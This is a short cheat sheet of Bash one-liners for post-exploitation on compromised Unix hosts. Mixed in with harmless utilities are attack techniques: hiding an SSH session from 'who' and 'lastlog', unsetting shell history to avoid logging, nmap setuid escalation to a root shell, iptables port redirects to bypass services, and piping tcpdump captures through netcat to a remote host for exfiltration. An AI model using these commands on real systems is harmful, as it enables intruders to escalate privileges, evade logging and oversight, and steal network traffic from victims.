Bash Commands for Post Exploitation

One liners

Resolve a list of hostnames to IP addresses

awk < hostnames.txt '{ system("resolveip -s " $1) }'

IIS 6.0 IP Disclosure

curl -l -O -H "Host:" "example.com"

Connect to SSL websites

openssl s_client -connect example.com:443

Convert base64 to text

echo 'base64string' | base64 -d   (Use -D on OSX)

Decode ASCII shellcode

echo -e *shellcode hex string*   (may need to use -i to ignore bad chars)

Enumerate DNS of Class C

for ip in $(seq 1 254); do; host 10.1.1.$ip | grep "name pointer"; done

SSH to box and hide from "who" and "lastlog"

ssh andrew@10.1.1.1 -T /bin/bash

Prevent terminal logging

unset HISTFILE

Add immutable attribute to a unix file

chattr +i *file*

SSH into host2 through host1

ssh -o "proxycommand ssh -W host2 host1" host2

Nmap setuid privesc

nmap --script <(echo 'os.execute("/bin/sh")')
nmap --interactive     (for older versions)

Transfer files through SSH

ssh test@10.1.1.1 "cat test.tar.gz" > test.tar.gz

Internal port redirect for bypassing services

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 4444

Enable forwarding on the fly

sysctl -w net.ipv4.ip_forward=1

Kill with USR1 developer defined signal

kill -USR1 <pid>

Pull IP addresses from a file

grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

Sniff traffic with tcpdump and send to remote tcp socket

tcpdump -w - | nc -v 8.8.8.8 9999

Recursively search for files within a directory

zcat -rf ./* | grep "searchstring"

Credits to @TheAndrewBalls for posting some awsome one liners (the hidden SSH example and the DNS enumeration are both his contributions